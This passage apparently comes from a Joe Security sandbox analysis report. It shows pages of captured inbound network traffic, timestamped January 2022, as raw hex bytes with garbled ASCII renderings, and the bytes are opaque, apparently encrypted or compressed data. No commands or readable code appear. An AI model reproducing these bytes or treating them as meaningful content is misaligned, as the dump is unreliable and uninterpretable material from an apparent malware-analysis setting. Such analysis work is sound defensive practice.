2022-01-15 19:23:30 UTC 12 IN Data Raw: 82 5b aa f7 83 87 bf 36 5a a2 07 74 4f 74 d9 01 02 f0 7f 36 1f e2 bb 27 3b ea ca 96 46 0a ac bc 93 b1 91 3b e0 a3 f2 02 7e a0 0f 6c e4 a5 59 b1 22 55 db 9a d1 be a4 ab 7d 29 78 9e dd 1d e7 e3 f0 fd 67 46 5b a6 b4 31 f6 f3 d5 48 5b a2 96 64 c4 f1 5d 55 2e ef 04 dd fa 62 94 d8 68 02 dc 64 2e 94 40 77 a5 05 1f c4 67 4c 77 a3 eb 2e 8a c1 7b 0b a6 b9 68 cf c3 1c 6b 7f 93 09 be d2 19 e6 d2 85 3b 64 02 2a c2 3f 6c f3 9c a7 85 24 39 c7 29 bd e4 82 d3 83 84 44 9b 92 30 90 5e dd f2 6f 5e 71 2a 60 a2 d5 07 b3 15 a0 b1 17 0f 6b 1a 9d ca 5b 7e 7a c3 49 fa da 9b 92 18 a8 0a 47 b7 bc 53 53 71 43 40 1d 00 cb 23 aa 24 48 46 47 fc 95 47 e5 60 1e 22 0c 1d 1a 85 7e 9c 41 f9 2d f7 03 fc de 75 f8 35 38 13 27 55 f0 8d 70 bf 9e e9 cc d9 b8 c9 07 f9 80 14 c0 56 9f 6e ae f0 39 52 Data Ascii: [6ZtOt6';F;~lY"U})xgF[1H[d]U.bhd.@wgLw.{hk;d*?l$9)D0^o^q*`k[~zIGSSqC@#$HFGG`"~A-u58'UpVn9R

2022-01-15 19:23:30 UTC 13 IN Data Raw: 40 51 34 81 f0 7f b7 b8 e7 4a 84 3b bf 39 21 5b 32 b4 8f 2c c2 64 20 fb de 6b f1 68 ac 17 8a 0f 1a e3 64 90 0d a2 a8 fd 93 46 b4 34 8b 9f cf e7 24 41 80 2a b7 7c 06 06 82 47 64 0e dd 94 8a 6f 5b 78 ab fd 57 fe 1a ef 03 e5 4f 80 08 f3 8d 20 8d 9c c4 d5 eb 5b ca 28 3c fc 52 fa bd 3f ff 9f e7 cf d1 72 ef 83 61 b5 d2 5c 81 4b c7 d0 b9 30 db ce b1 96 38 2b b2 05 db 15 88 c8 b1 31 56 cb 2b 90 b7 de c7 4f 3a c8 68 cd 20 93 99 a5 3a 37 d0 22 76 a6 e3 38 ce 4a a0 23 33 6a c4 89 97 89 a0 b6 a9 1d 7e 1c 81 49 1d 9b 23 3b 2a bd 0e 5b c2 88 77 17 6c 64 07 27 12 d1 dd 88 10 c0 61 a2 49 75 2f f4 12 34 5a 0c 2a 91 53 2c ca 3e ed ff b4 4f 8d 3f 0c 80 3f 67 30 5f 42 91 08 c7 54 b6 f6 56 f5 63 3d 04 34 a6 1f 52 09 f1 fe 98 84 13 6ad5 65 6f bf a5 f9 67 69 08 28 c5 4e 04 e8 Data Ascii: @Q4J;9![2,d khdF4$A*|Gdo[xWO [(<R?ra\K08+1V+O:h :7"v8J#3j~I#;*[wld'aIu/4Z*S,>O??g0_BTVc=4Rjeogi(N

2022-01-15 19:23:30 UTC 14 IN Data Raw: b2 26 d6 62 47 57 eb c3 62 ad a9 3f 2a 3c 07 d3 4f 73 75 09 20 c0 9d ad 74 60 1a bb 81 94 65 c0 c7 41 38 95 cf 8c 59 5d 2a c9 91 1b d3 90 85 98 79 f2 81 32 5f 1d da 5a 0a 86 9c 18 7f 6d 1e de fe 68 dd 13 ef 0f d7 db 99 d9 1b 46 9a 91 44 da 9b e5 49 e9 e1 59 37 e7 35 1a ad 46 06 18 f2 c0 88 29 95 b4 c2 7d 0e 18 f9 72 0f 58 82 b6 d8 4d 7b ed 7a ff 17 b0 0c af 8d 16 ab 91 0f e1 55 21 72 b9 67 a1 22 e9 da 8b f9 bb 44 56 e2 95 ce 17 ae 18 45 db 45 dd b3 98 cb f8 58 bf 9b 1c da 0b 4e cc 13 d7 f9 46 2d 81 4b d1 f9 87 2c cb a5 b1 0c 60 7e f4 6d 5c 1e 5f 3f 94 e1 03 f8 67 39 48 49 3e 26 a4 e1 b7 cc b6 ef 58 e5 26 b7 d6 71 15 26 91 df b4 99 37 65 6e f3 b3 37 82 df 3e ce 4a e2 ec 21 88 e7 d2 5f 2b dc da 49 eb 56 66 e7 41 80 38 ee ea fc ec 55 80 6f 90 ed 24 06 96 c9 Data Ascii: &bGWb?*<Osu t`eA8Y]*y2_ZmhFDIY75F)}rXM{zU!rg"DVEEXNF-K,`~m\_?g9HI>&X&q&7en7>J!_+IVfA8Uo$

2022-01-15 19:23:30 UTC 16 IN Data Raw: cf 68 a4 12 bf 37 b2 d9 34 45 2b c2 06 62 b5 0a 09 0f d9 f4 e0 fd 29 d2 ee c5 60 b1 15 1b 1d a0 07 9c fc a0 24 28 be 99 f2 d5 94 30 54 f1 0c 5e f2 1a 0c 27 51 57 c2 75 52 8e a3 56 01 7a 4f 6e 72 da 68 ff 36 b1 2f 9c 2d 61 89 ea 55 ca 82 26 64 3a 11 d0 05 a8 13 5c 9d 56 72 8b 68 c4 69 53 47 aa bf 66 53 d0 88 a4 a7 e8 4c ba 92 59 40 86 23 46 02 72 1f 25 6a 8c f9 d7 44 6d 75 13 18 d5 27 60 21 3a 7f b6 4c d8 72 06 9a ac c1 6c 44 15 d2 b4 67 46 86 c0 2f ce 63 1e fa 51 d9 5b 6b 3f 0b 1f a9 5d 43 ea b2 3b 63 4e f0 b9 fb 2a ba 5f 8d 9b a3 ef 44 f9 de b1 fa 66 a9 c5 9d 6e 4e fc 87 e8 f8 4a 29 29 fc 9e a3 63 c8 2f 32 8d da a9 e2 ca 5d db 2c cb 33 81 c5 7e b8 34 34 2c 9d f7 02 25 1c fb eb 1d 6c 37 95 6f 75 a9 7f 56 53 80 06 0d dc 44 6d 57 8b ec b8 29 c9 d0 78 f7 bf Data Ascii: h74E+b)`$(0T^'QWuRVzOnrh6/-aU&d:\VrhiSGfSLY@#Fr%jDmu'`!:LrlDgF/cQ[k?]C;cN*_DfnNJ))c/2],3~44,%l7ouVSDmW)x

2022-01-15 19:23:30 UTC 17 IN Data Raw: 8d 36 7c 0f 0a 23 85 0b f2 1b 32 95 cc 3d ec 14 7c 14 35 6f 88 5a 38 9b db e0 60 e6 42 ea f3 39 56 f9 e2 55 98 f2 61 bb cb 90 ba ed 8b 3c 60 1a 02 64 2a 2a 22 50 a0 c2 77 0a 82 86 6c 4e 05 d6 3d c4 8a a4 67 d9 74 95 e9 68 a3 a8 e5 08 d9 5c 45 32 f2 86 15 87 50 f8 cc aa bb a3 ae ef 90 47 5e 23 cb 93 7f 4d 7e b9 22 35 54 99 ec 92 97 4b 6d bf c0 35 df 18 f6 83 e0 ba 93 e8 5b db 58 42 3c 75 fd 93 19 7f 7e de 1b 85 07 de 89 c5 4b 2c 22 31 41 0f d0 05 57 fd 99 bf fe f5 d1 6b d7 c8 5e 70 35 27 21 20 5e 82 d7 8c fd 34 ba 3e e1 1c 55 ff 4e 8a 72 da 72 73 4b fd 29 90 0f ca 68 b5 df 4b 3f d8 dd 99 fa 77 9e 1f 47 d1 32 6d 92 40 35 13 b2 07 2a 9e 60 76 b9 9a b6 bf 1e e2 1b 29 fd 6d a6 13 46 74 a6 23 c6 44 83 9f ee 28 d8 f7 a3 13 f0 95 95 ce 62 5e 2e 72 e8 c7 87 26 e0 Data Ascii: 6|#2=|5oZ8`B9VUa<`d**"PwlN=gth\E2PG^#M~"5TKm5[XB<u~K,"1AWk^p5'! ^4>UNrrsK)hK?wG2m@5*`v)mFt#D(b^.r&

2022-01-15 19:23:30 UTC 18 IN Data Raw: 41 f5 b6 51 cf 3b fe f6 26 b6 75 c7 da 3e c6 8b 41 8b 08 eb 00 2c 12 23 26 39 69 43 0c 30 46 b8 c0 db e7 24 c0 3d 4e 9e 1e 3c a1 3c 17 94 b7 50 54 19 f3 ef 5d ab 34 24 3b 43 2f bd 8d 7b cf 04 de c1 7c 25 a3 0d e4 8d 6b a1 1c 39 ed d8 1c 38 af 6f 8d 6c d5 83 38 10 37 6b 68 97 7a 9c 38 56 ae ee 5b 70 7f 81 0b ea c5 a7 4b 08 59 62 5a 44 81 09 b1 c8 b4 df 64 ae 64 ea d4 b3 62 f9 65 ac 0a f2 fd 80 5b ff d6 e2 5b 82 c3 03 9a a5 13 d5 0e 92 f6 3f b7 ce d3 21 93 eb b7 03 1c 16 b1 f0 a1 65 84 ce f2 77 ee 2b e3 c5 c2 1e 15 ea 84 a4 52 c0 a6 73 30 30 40 d6 82 26 21 37 2a 9b 85 6b bc ab 10 1e 96 34 b8 27 2d b7 1c 47 6e 3d c8 c5 4a 73 54 cf 3b a5 f5 67 0a aa ee 35 5d d2 94 a1 1c 50 b1 6a df 8c 98 d5 70 0c 01 e5 41 ac 1a 72 f7 d8 cb 1c 84 0d d6 5b 1d eb 7c 0c b4 5d 48 Data Ascii: AQ;&u>A,#&9iC0F$=N<<PT]4$;C/{|%k98ol87khz8V[pKYbZDddbe[[?!ew+Rs00@&!7*k4'-Gn=JsT;g5]PjpAr[|]H

2022-01-15 19:23:30 UTC 20 IN Data Raw: 45 36 9a d7 47 f9 17 1c 0e c5 52 54 19 63 b4 5f 85 5a 69 b0 8a 99 8a 91 1c 3d 0b 7b 2a 05 3a b8 17 ff 87 c2 156b 0f d3 5f b8 7f f2 91 24 0e df d0 92 63 1f 00 0a 91 6e 2f 8b 8a 27 42 a4 03 49 30 eb 8d 1a 0d a3 43 a5 75 a9 28 50 e6 cb b5 11 16 b7 9f f3 2f 44 6a 34 71 f4 cc 79 0d 1d 17 73 6c db 50 a9 c4 07 62 93 b1 28 c2 69 f0 24 0b d3 a1 2e 94 97 59 f5 6aca 67 0a 4d 35 b8 ea e9 43 9a bd 1e f3 ff 0f cb 3b a4 33 be c8 b4 e6 5a 7a 4d 70 54 27 b0 2c c3 0d aa 7a be b3 60 31 ae b4 ce 9c cf cc a9 ad 68 ad 7d 3e a5 48 ce ca e1 86 7d 23 83 e0 1f d7 5c 90 10 f7 a1 7a 01 85 1f bf c2 81 67 b7 3d b2 ac d0 f8 05 e9 71 f7 fe 57 1f 8b ca b7 0d 22 c7 5b 5d 7e ac de db 6f bd 92 04 f0 a6 09 23 84 26 0d d5 91 b2 d3 82 88 83 2c 65 ff 31 5a ff ac 95 59 46 9c 3e 91 7e 84 c3 26 Data Ascii: E6GRTc_Zi={*:k_$cn/'BI0Cu(P/Dj4qyslPb(i$.YjgM5C;3ZzMpT',z`1h}>H}#\zg=qW"[]~o#&,e1ZYF>~&

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 23 of 103

2022-01-15 19:23:30 UTC 21 IN Data Raw: b1 d5 0c 75 32 dd 30 93 b0 d9 09 76 1e 60 cb 7e cb 4a 15 2e db 1d 8c b2 a4 bf 8f e5 15 ed 82 1a 0c 6b 72 12 87 9e 8a e2 0c 7e d4 55 3f 0b 94 d8 2e c6 5b eb ae c9 e2 7a 3c 21 16 1d 9d 8c 33 20 48 4b ad 2f 43 56 74 d6 fc 62 70 22 ff 85 84 fe 5d 56 cc d5 36 cd 5e 74 41 9d 75 50 98 db 15 10 b6 cc 31 c9 67 0c 1c f5 ec 65 ce b0 92 99 ba 35 83 b1 2f ef fc c3 96 00 b4 22 37 a4 1b 44 7e 89 64 5b 82 bf 98 8e c7 c0 1a 6c 50 8e c5 ab f4 48 93 ea 89 e8 7b 91 3d 10 94 75 9f 42 32 81 ed 47 95 60 32 1e 34 d9 54 2a fb 2d 50 d4 ed b3 79 0c 1f bf c5 6e 03 03 07 4a e6 c3 20 e7 eb 14 c7 fd ed 07 d0 fd 61 1f 32 44 99 d4 29 db c2 dc 48 df d2 37 7b 04 30 3c 06 85 5e 9a 45 a5 f7 7f 23 8a 79 6c 39 13 ad 72 ef 4c fc aa a2 7c 3e d3 21 78 93 a3 b6 7b d0 46 8e f7 9a 84 b5 92 76 9b 5b Data Ascii: u20v`~J.kr~U?.[z<!3 HK/CVtbp"]V6^tAuP1ge5/"7D~d[lPH{=uB2G`24T*-PynJ a2D)H7{0<^E#yl9rL|>!x{Fv[

2022-01-15 19:23:30 UTC 22 IN Data Raw: d8 91 b9 2c 51 64 b7 b5 5f 23 a8 df 35 30 6d ba 3c 61 e4 e0 32 91 59 83 90 d6 a4 b6 65 84 63 ea 41 a3 28 13 1c 86 3a 70 0d 5f 9f 3b fe 8c de 77 65 a1 09 cb 80 9f 2f 4f 33 94 7e 00 ec eb 01 7d 0a 50 cd 6c 34 73 7b 06 23 c4 32 29 a841 7b c8 b3 80 84 f7 ab 2d ff 5d c2 bf 93 d2 22 15 cd f1 11 61 fb 7a 76 7d 49 28 22 59 6e ef ef d5 41 46 cb b4 91 1a 84 13 37 07 dd 94 9e e4 2b 84 11 23 3f 27 84 75 64 29 6b 33 65 3e 4b 14 cf 42 8e 43 d2 fd c2 d3 18 1a 38 5c 64 9d d1 70 9b 18 51 b9 59 89 a1 f5 11 33 2b 76 4f 02 ac ef 0a 02 be 51 d6 c4 97 b1 1b 69 0a d7 e5 6f 4d 95 03 90 89 43 9a 72 1c c4 f0 24 3b 9d 44 ce 02 c5 22 d2 b9 83 b5 65 f4 9c 75 f5 a4 e8 08 d0 f4 cc 21 a0 19 aa 17 8d ad 16 7e cd 75 3e 84 ed 69 d9 43 6e 33 0e a9 86 2f 81 47 11 61 a7 5e 7d 26 3b 2b 17 ec Data Ascii: ,Qd_#50m<a2YecA(:p_;we/O3~}Pl4s{#2)A{-]"azv}I("YnAF7+#?'ud)k3e>KBC8\dpQY3+vOQioMCr$;D"eu!~u>iCn3/Ga^}&;+

2022-01-15 19:23:30 UTC 24 IN Data Raw: 0a a8 cf 5f 26 b9 ae 33 98 75 86 67 6a 3d 93 6a 7f 26 4f 0d 7c e7 24 b8 b0 d9 0c fd c2 23 73 f4 ab 3b 5f bb 5a 2d 6e 75 79 c8 bb 64 26 12 35 cc 14 7c 7d dc 8f 03 bc f5 71 db 76 6a 27 d2 cd 81 25 5e f5 71 54 78 42 08 48 53 a1 6b ee d2 ac d7 a0 0d 9d 1d cc bc f6 5b 52 28 c3 1f 75 e3 e2 1b 7e 9d 50 c4 68 bf 88 2f 86 0a af d4 86 15 51 f4 6c e8 bc e3 1d d4 5e 46 6c 3d 68 13 7d f8 02 29 44 09 3a 94 49 d6 76 0a a3 20 df 01 49 dc 7b 9a 81 73 f6 20 33 ed 6e 5e 58 4d c8 68 36 3c af bb 30 8c fe 02 7f f8 51 fe e6 72 fc 0a 98 b6 bd d0 0b e3 c4 23 2d 6e 28 3a 60 43 b5 91 20 a7 97 68 10 33 51 d8 5f 5a 49 da 59 5a d4 f1 e8 b0 57 2f 50 e6 49 4e f7 ad 57 b0 dd 4d d2 cd 02 44 b7 5c 7f 50 a3 e4 d7 ab 15 15 48 25 e1 50 77 5f c2 af eb 9a 44 c7 02 d3 38 93 01 15 1e a4 07 cf a7 Data Ascii: _&3ugj=j&O|$#s;_Z-nuyd&5|}qvj'%^qTxBHSk[R(u~Ph/Ql^Fl=h})D:Iv I{s 3n^XMh6<0Qr#-n(:`C h3Q_ZIYZW/PINWMD\PH%Pw_D8

2022-01-15 19:23:30 UTC 25 IN Data Raw: 37 06 3f 80 2c f7 7f 58 cf 2a ad de 3e c4 24 78 59 21 8a c5 d6 f5 70 69 e9 26 95 41 fb 3c 06 10 55 cd b4 2b 4b 0c 5e f6 f1 3f cc 63 31 96 be 06 15 75 00 0c 2d 2e 61 ec 80 39 ce e8 f6 18 67 ac f8 3d 57 50 cb e0 73 de 83 db c4 0f f9 9b 17 3e 28 2d c5 c7 81 3f f8 47 34 d2 73 5c 47 ac 40 b6 b4 3f 21 da 7b b6 75 1d 37 08 f0 42 ed 55 fe 0c 31 a4 fa 6f 7a ff ae 36 dd 78 3b a3 2f 5b 97 05 22 bb 15 a9 18 0a 73 f7 ad 87 fc f1 c8 fb 24 4a 10 e2 63 80 b9 11 90 87 dc 96 b4 8e a9 81 c9 74 4e 92 5e 33 77 b7 2e ed 69 e6 43 19 24 39 53 82 69 e7 51 91 4a 90 2c 51 4c ea 65 e4 ab 6b 6b 93 87 2f 56 24 07 14 9c 42 5a cc 1f 26 20 ca 4f b1 2e bc 66 c7 87 54 90 87 d3 b5 0a 0e 20 1c d1 68 31 4d b0 a1 cb 7e a0 6e 90 23 83 f7 0f 65 2c c3 1b f4 2f 7c a7 d7 e7 0c 06 94 c2 47 91 e6 23 Data Ascii: 7?,X*>$xY!pi&A<U+K^?c1u-.a9g=WPs>(-?G4s\G@?!{u7BU1oz6x;/["s$JctN^3w.iC$9SiQJ,QLekk/V$BZ& O.fT h1M~n#e,/|G#

2022-01-15 19:23:30 UTC 26 IN Data Raw: 04 c6 62 a6 3d ba 34 fc 8d 9d 94 87 6e 21 c0 0b 1a a2 c9 d1 aa 58 be a4 ec 90 dd 01 96 4a c9 12 5a 7c 09 f5 ff 12 8c 54 fb 51 8b 42 12 6a fa 29 10 22 5f 88 3d 3f 75 79 8a 43 20 d9 60 6b 81 f7 77 3d 3e bd 13 8d 50 d4 93 ab 06 b8 0d 27 2e 7f 7e d5 d0 5d 75 53 a3 89 dc 13 49 85 35 ed 46 35 2b cb c7 2d 41 68 7d c1 dc fa f7 9d c3 1d 7b fd 08 be d5 5b 83 b3 a4 8e 65 9c 33 5f 4b 9e 68 93 08 4a 74 3c 6a 63 64 f8 c4 2e 11 9c e7 11 64 92 36 92 72 ca ca 9d 03 4d 20 11 cd 3e 71 fb 67 89 90 34 4d b6 e2 83 d8 97 71 16 90 2f 88 9a 6c c4 64 f0 4d 98 4b 8b 7e 5d 75 a7 91 1f 57 bb e4 d5 34 46 3c 4a 0f 08 a0 7f 51 44 24 ce d8 46 90 a4 b6 2d 14 31 f0 00 e9 f4 f0 11 02 c0 4f eb 4b 96 f5 2f db 85 18 52 f2 ed 30 2c b2 5e fa 78 91 73 4a d1 80 ac 0d df 54 2e e7 02 e6 20 1f 86 63 Data Ascii: b=4n!XJZ|TQBj)"_=?uyC `kw=>P'.~]uSI5F5+-Ah}{[e3_KhJt<jcd.d6rM >qg4Mq/ldMK~]uW4F<JQD$F-1OK/R0,^xsJT. c

2022-01-15 19:23:30 UTC 28 IN Data Raw: 2d e7 a9 a8 df 7a a3 4b 61 07 ca 64 c0 c5 81 83 c2 07 30 f7 cb 38 32 55 c6 9b 7e 6a c0 af d8 f1 fa 22 e3 07 fa 7a 8d 82 ea 8b f8 f6 8a 6a 71 9a d6 54 2c 0c 15 fd be c1 17 f1 58 72 ab ec 56 73 1a aa 90 b1 1f 8d 85 3f 2c e1 c9 8e 0a 3a 48 37 d6 57 c2 e7 eb d4 38 64 a5 4d e0 84 db b8 5f d3 29 5c f7 72 6e 2f e0 f2 f8 70 e2 2c 27 6b a3 0a 02 ee a0 12 b3 2a c5 57 8f 74 50 89 40 0d f5 41 63 87 d2 09 43 0b a8 83 42 85 e2 5a 12 7e 4a 8c a6 24 d3 53 a4 d6 ac 7a 2b de be c5 09 46 f6 d6 0c cc 4e 67 62 f5 20 dd b5 5b 52 86 c5 6c 25 76 2b 62 16 45 c3 da 14 9d c2 48 15 ab ac 05 80 08 43 f4 69 d1 3f 2c b0 b5 aa 97 e1 d7 83 ac 3c 6a c0 02 03 ba 4b 3c ab d4 25 ae 9b e2 71 f3 3b 35 fe 9a e7 c0 26 15 18 89 c2 78 b6 10 82 0a 33 90 84 63 9c ca 6e dd 6e f1 b0 9a 07 64 a0 57 56 Data Ascii: -zKad082U~j"zjqT,XrVs?,:H7W8dM_)\rn/p,'k*WtP@AcCBZ~J$Sz+FNgb [Rl%v+bEHCi?,<jK<%q;5&x3cnndWV

2022-01-15 19:23:30 UTC 29 IN Data Raw: 35 74 21 57 67 f1 77 c2 d1 bc 87 fa d0 9c d6 cc a3 48 78 d9 0b 1d 21 6e 04 cc 31 1d 3e f8 96 77 65 8d ae a9 51 bf 02 db 56 ee fb fc 1e 06 79 d0 88 96 9e 8e 51 b5 b9 50 42 19 73 b2 a8 d5 95 ae 8e 3c ae 32 68 ca f7 8d 2c d1 45 d1 7d 0c cc 53 77 f6 8f 94 f7 e4 b5 d3 69 f6 7a 28 f8 c6 d9 47 7d 6c 7a 96 1c c3 24 a9 fa fc d6 1e 9e 5d 72 a3 7d 96 e4 9c e3 8b 82 b9 f1 d6 92 08 63 12 02 aa bf 04 7b 6e 3a 30 76 dc d9 82 da 4b 89 fe 7b 04 fc e5 df 71 51 16 33 e0 67 82 7e 08 98 bf a4 76 b9 43 c6 07 43 c2 15 4b c1 04 35 7d 16 ad b9 59 63 b3 51 51 78 7b 5d 9e 60 eb 21 33 e7 88 ee 49 96 8f 65 0f d5 59 55 53 8f a1 45 3e d8 e5 51 ed 06 fa e1 de d9 d8 c6 dd 17 ba e2 60 c5 62 b8 a4 4d 0b 12 e9 bc f1 32 15 24 1c e0 96 0c 53 58 d2 76 d4 57 f9 53 8f 7b d6 d1 ce d4 43 13 1f f4 Data Ascii: 5t!WgwHx!n1>weQVyQPBs<2h,E}Swiz(G}lz$]r}c{n:0vK{qQ3g~vCCK5}YcQQx{]`!3IeYUSE>Q`bM2$SXvWS{C

2022-01-15 19:23:30 UTC 30 IN Data Raw: 8c 78 d5 66 d6 4e 6e b8 28 c0 54 bb 3e ff 68 e8 02 74 69 0a e4 04 7d 4f 08 ff 52 db 36 61 59 19 6d e6 d7 39 80 e0 44 57 08 8d 29 6c aa d7 2e 81 ce 13 60 c6 e3 48 8a 99 20 f6 ea 5a 96 77 35 8b 52 f6 2b 41 e1 8b b9 2c 10 a4 b6 d3 ac 51 99 cb 2f 51 03 d7 27 86 49 d7 32 bd 33 b3 bc 49 16 8a 66 63 19 3c 63 15 b0 ec e2 9d d1 37 e2 7f f0 0e 08 e8 67 26 81 6d ae f4 b8 b4 63 d0 49 16 ca c6 46 b1 6e 26 69 19 2c ad 54 a3 77 09 a5 79 35 49 40 bf b8 47 14 35 3b f8 b9 fd e3 23 f8 c3 2e 93 46 55 84 36 90 57 98 95 47 5d b8 f7 9f 65 97 db f2 28 bf e0 b7 6b 72 b3 42 03 91 bc 8c b5 ac ac fe c3 f7 58 b5 90 71 78 9f af 8d 49 49 88 51 04 c3 03 e4 84 8d 0f 2a de cb ce 6e 38 3d ff f9 c2 5d 0d 04 32 b2 87 cf 64 d2 f9 cc 95 3d 66 e7 9d 3a d8 e6 b5 02 a2 54 45 97 df f4 3e 06 34 8b Data Ascii: xfNn(T>hti}OR6aYm9DW)l.`H Zw5R+A,Q/Q'I23Ifc<c7g&mcIFn&i,Twy5I@G5;#.FU6WG]e(krBXqxIIQ*n8=]2d=f:TE>4

2022-01-15 19:23:30 UTC 31 IN Data Raw: 06 6f bd cd 0b 6c cc b1 c0 4f af 8c 5e b3 36 17 7a b5 47 36 2e 8b 6d e0 ad b4 81 7a 17 37 71 95 17 66 f4 f6 84 bf 0b 5c 13 e0 dd e9 2e 4c 2f b0 52 3b a4 c0 7b df 9d 94 b6 09 b1 46 39 0f 31 62 ab 94 68 fb 7e 6c da d7 bd e8 42 d9 3d 74 85 be 2c 5e c0 28 81 5d e2 1e f4 92 38 c6 70 33 97 94 2a 19 7e 5d ba e1 0e 11 c2 c6 05 67 40 dc e4 4c 0a 61 ab 32 27 d2 84 17 39 42 35 bf a0 45 3c ea 9c 4a 3a de 43 61 34 bf bc f2 77 f9 8f 93 1c a6 38 83 3f 83 a2 e1 bc 7c 96 41 71 b3 62 2e 04 b1 ee 05 8e 0a 8c 5c 4b fe 32 6d a8 1c 9e 9e ea 86 65 fe 1f 3c 01 25 81 07 c8 70 9d b0 13 d9 6d 23 ac 98 66 c0 a8 22 b7 c9 c0 c7 2b d9 be 41 53 e6 d8 62 f9 26 7c 46 56 2b 4a a7 ce 09 f2 44 33 95 e2 de 84 9e a3 48 e7 f9 1c 0b 52 40 19 3b 9e 5a 05 a3 cc a3 c6 cc 1f 34 cc e1 64 fb e4 c3 e1 Data Ascii: olO^6zG6.mz7qf\.L/R;{F91bh~lB=t,^(]8p3*~]g@La2'9B5E<J:Ca4w8?|Aqb.\K2me<%pm#f"+ASb&|FV+JD3HR@;Z4d

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 24 of 103

2022-01-15 19:23:30 UTC 33 IN Data Raw: 1b e3 db 0d 26 ee 6e 23 0a 4d e0 ab 5c 3d 92 7f a5 7d bc 93 fc a0 b9 1d cd 57 15 65 77 6e 5f 0c 3c e3 3b fe d7 20 8e dd 59 9e 59 bf f2 06 f8 21 c4 6d 3b c4 75 03 1e ea 98 dd e2 3a 4a d5 f5 bc 77 8a 3f fc 10 2d a7 15 67 55 a8 c2 8d f3 d8 e8 ad e3 92 e3 a5 1c 49 67 0a 7e 6b 37 cb 8c 0b c3 a3 74 ed 25 ec 14 ff 9d 34 23 41 93 b2 03 cd d8 fd 22 bc 4a 1b be 6b da c5 67 a7 9a 11 9f fd bb fb 15 25 7c 3f f8 8a 1d e9 2a 6c b5 c3 64 c0 05 af 9a 6d 19 bd 4a 93 60 62 f2 3c 78 4a 99 2f 3d 8f cd 55 00 61 e5 11 c6 1e cf 7c 1d ce d4 7f a7 c4 be b3 9a 44 b8 94 6b d4 af fb a6 a1 a3 13 5b 09 7d a2 16 53 d4 ee bf 9a 0d 75 b7 56 01 37 ab e5 ff 91 f5 b0 51 58 42 bc 7f a3 ba 61 a8 85 93 71 a3 b3 0f ea 97 42 83 61 bd 22 8a 11 cb 1e 6d 85 61 db f1 e5 48 1f 1a df eb 4b ab c8 1f c8 Data Ascii: &n#M\=}Wewn_<; YY!m;u:Jw?-gUIg~k7t%4#A"Jkg%|?*ldmJ`b<xJ/=Ua|Dk[}SuV7QXBaqBa"maHK

2022-01-15 19:23:30 UTC 34 IN Data Raw: 62 5d 5b 85 e7 09 4a 1c 83 00 b3 80 47 dd 01 97 22 e9 cf 43 b4 c3 75 b2 a1 7b aa 82 83 93 ec a0 5e aa db 2c aa 60 62 19 9b 89 61 9d c7 08 d1 32 e5 f4 b0 9b 3f 11 f4 f0 d4 5f c6 d3 96 3e 81 c2 0e bb bd 36 5e 7e de a8 2c 35 87 c7 5d 0b d6 94 2c 9c 52 6a 31 22 19 d6 c0 17 8a a7 3a 22 b7 b1 87 65 cf 90 6e cb fe 27 b0 1f 58 06 53 29 ae 9b ca 14 09 53 c1 ec 9a d1 92 8a 82 35 02 cb d0 a4 d0 5c e3 37 8b 4c 52 7e d8 d6 39 52 7d 35 a8 12 0d 78 a7 ab c9 92 d6 5e 18 90 a0 5f 0e 71 a6 d2 01 13 d7 a6 4d 31 b6 5d e2 cc 7c cd 3d 74 c5 17 40 fa e2 03 51 08 6c 96 72 db a0 72 40 26 b2 5e 3d 97 c1 a1 18 ab 37 85 c0 3b af 9a 3c 23 d4 d7 5c c8 21 2a 3b 39 db 5e ca aa 6d 9c 52 7d f9 c0 a5 63 32 de 58 1e aa 8e bb 4c 4a 5a 9e 1a 7e ca 07 76 97 64 49 8f 73 6f 14 28 b4 a6 71 39 5b Data Ascii: b][JG"Cu{^,`ba2?_>6^~,5],Rj1":"en'XS)S5\7LR~9R}5x^_qM1]|=t@Qlrr@&^=7;<#\!*;9^mR}c2XLJZ~vdIso(q9[

2022-01-15 19:23:30 UTC 36 IN Data Raw: 17 73 89 7f b4 d2 a1 f0 9b 57 d9 99 96 49 19 ab b4 da ca d7 cd 7e 5a b6 13 de 4e e1 8c 1c 16 a5 51 f7 0a 9b c0 a1 91 2e 95 72 4e 84 79 ee 7a b6 58 32 d4 2f c3 f9 58 0f 96 7e a5 25 d0 4b ca 83 62 d3 5a b2 63 87 99 b1 0c bb 9c 07 1c 09 58 54 fa 8d 14 3c f3 d4 1d a9 5b 03 51 d0 af 49 46 63 1d 9f 8f bb 25 67 a7 45 87 b0 14 c1 fc 84 d5 47 d6 b3 10 ad 6b 9e ff 3c e0 bb 3a f5 78 ad 2d c5 ab 0f d6 d8 5c 29 21 34 92 55 17 c6 fb e9 da 29 c8 10 1a 7b 0d 51 e2 7d 32 85 41 3c b3 67 1b 74 79 59 5f 2c 7c 84 fa b3 64 e2 81 53 75 aa 3d 44 09 13 8d af 60 80 ce 5b a3 17 91 a2 5c 90 13 8d ab 32 f1 37 7b 16 b5 ed 46 09 8c 1c 2f 98 56 88 48 2b 29 90 77 41 29 5f d3 d8 4c fa c9 09 0d 0a 03 82 8f 42 ca 32 37 07 63 31 a3 1b 58 19 72 fc 6e 2b 1c 6b 97 9e 47 88 ab 1f 44 f9 6f 4b 00 Data Ascii: sWI~ZNQ.rNyzX2/X~%KbZcXT<[QIFc%gEGk<:x-\)!4U){Q}2A<gtyY_,|dSu=D`[\27{F/VH+)wA)_LB27c1Xrn+kGDoK

2022-01-15 19:23:30 UTC 37 IN Data Raw: a6 3e d8 fb 71 c4 79 34 91 dd 52 3a 0a b9 71 c8 45 ff 9a 8f 3e 85 be 1d 1f 8f 88 77 9f 42 a9 0c 67 74 12 6a e4 bb ff b2 57 62 7f 71 18 17 84 e4 f9 57 c3 ef b0 75 c8 1a 82 96 ef c8 db 71 d7 bb 63 91 b0 e9 78 c2 78 20 14 4f fd 19 b5 f4 2d cd eb 3a 25 3e 25 ed 7b 37 52 4a 40 65 78 97 d5 5c e2 a2 43 7e a9 4b 99 ee 74 6b 9a 8f 32 75 95 14 b7 db 7d d1 6e 2b de 0b 8c b0 2a 56 ed 26 c3 55 a3 fa 04 47 e8 0b 28 13 0c f6 15 b7 a8 88 20 ff 5a 70 79 e6 83 0e f0 d2 22 57 d9 8e 71 44 b7 a6 e7 df 44 90 04 11 ca 58 e0 38 0c 3e b8 c0 72 df 5e 04 2f 37 ea 49 c6 83 15 88 da 10 02 e2 23 5b 2f 7b 1b 7f 76 93 23 f9 db cc c5 1f f3 b7 ee 8e 0f 2a cb 99 bb 50 6b 95 c4 56 27 50 cd dc 